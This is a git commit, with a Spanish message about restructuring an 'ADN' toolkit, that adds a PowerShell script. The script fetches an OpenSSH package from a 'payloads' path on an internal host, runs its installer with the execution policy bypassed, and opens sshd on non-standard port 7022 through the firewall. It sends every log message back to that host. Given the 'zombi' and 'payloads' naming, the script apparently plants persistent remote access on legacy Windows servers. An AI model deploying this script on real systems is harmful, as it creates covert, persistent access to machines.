Refactor(ADN): Retructuración del ecosistema ADN para unificar herramientas independientes. Fusión de w-zombi como adn/sondas y ns8-candados como adn/seguridad. Renombrado de comando/ a cli/ para consistencia y plan/parser.rb a parsers/plan.rb
This commit is contained in:
@@ -0,0 +1,83 @@
|
||||
$ErrorActionPreference = "Continue"
|
||||
$logFile = "C:\ssh_install.log"
|
||||
|
||||
function Log($msg) {
|
||||
$ts = Get-Date -Format "HH:mm:ss"
|
||||
$line = "[$ts] $msg"
|
||||
Write-Host $line -ForegroundColor Cyan
|
||||
Add-Content -Path $logFile -Value $line
|
||||
try { (New-Object Net.WebClient).DownloadString("http://10.0.10.8:8000/log?msg=$msg") | Out-Null } catch {}
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "OPENSSH LEGACY INSTALLER (2008R2+)"
|
||||
Log "=========================================="
|
||||
|
||||
$sshDir = "C:\OpenSSH-Win64"
|
||||
$zipPath = "C:\OpenSSH-Win64.zip"
|
||||
$sshUrl = "http://10.0.10.8:8000/payloads/OpenSSH-Win64.zip"
|
||||
|
||||
try {
|
||||
if (Test-Path "$sshDir\sshd.exe") {
|
||||
Log "OpenSSH ya instalado en $sshDir"
|
||||
} else {
|
||||
Log "Paso 1: Descargando ZIP..."
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.DownloadFile($sshUrl, $zipPath)
|
||||
Log "Descarga OK ($zipPath)"
|
||||
|
||||
Log "Paso 2: Extrayendo ZIP..."
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$zip = $shell.NameSpace($zipPath)
|
||||
$dest = $shell.NameSpace("C:\")
|
||||
$dest.CopyHere($zip.Items(), 0x14)
|
||||
Log "Extraido en $sshDir"
|
||||
}
|
||||
|
||||
Log "Paso 3: Instalando servicio sshd..."
|
||||
cd $sshDir
|
||||
powershell -ExecutionPolicy Bypass -File "$sshDir\install-sshd.ps1"
|
||||
Log "Servicio instalado"
|
||||
|
||||
Log "Paso 4: Generando host keys..."
|
||||
if (!(Test-Path "$sshDir\ssh_host_rsa_key")) {
|
||||
& "$sshDir\ssh-keygen.exe" -A
|
||||
Log "Host keys generadas"
|
||||
} else {
|
||||
Log "Host keys ya existen"
|
||||
}
|
||||
|
||||
Log "Paso 5: Configurando puerto 7022..."
|
||||
$cfg = "$sshDir\sshd_config"
|
||||
if (Test-Path "$sshDir\sshd_config_default") {
|
||||
Copy-Item "$sshDir\sshd_config_default" $cfg -Force
|
||||
}
|
||||
if (Test-Path $cfg) {
|
||||
$lines = Get-Content $cfg | Where-Object { $_ -notmatch '^\s*#?\s*Port\s+\d+' }
|
||||
$newContent = @("Port 7022") + $lines
|
||||
$newContent | Set-Content $cfg -Force
|
||||
} else {
|
||||
"Port 7022" | Set-Content $cfg
|
||||
}
|
||||
Log "Config: Port 7022"
|
||||
|
||||
Log "Paso 6: Firewall..."
|
||||
netsh advfirewall firewall add rule name="SSH-7022" dir=in action=allow protocol=TCP localport=7022
|
||||
Log "Firewall actualizado"
|
||||
|
||||
Log "Paso 7: Iniciando servicio..."
|
||||
Set-Service sshd -StartupType Automatic -ErrorAction SilentlyContinue
|
||||
Start-Service sshd -ErrorAction Stop
|
||||
Log "Servicio sshd INICIADO en puerto 7022"
|
||||
|
||||
} catch {
|
||||
Log "ERROR: $($_.Exception.Message)"
|
||||
Log "LINEA: $($_.InvocationInfo.ScriptLineNumber)"
|
||||
}
|
||||
|
||||
Log "=========================================="
|
||||
Log "FIN. Log guardado en $logFile"
|
||||
Log "=========================================="
|
||||
Write-Host ""
|
||||
Write-Host "Presiona ENTER para cerrar..." -ForegroundColor Yellow
|
||||
Read-Host
|
||||
Reference in New Issue
Block a user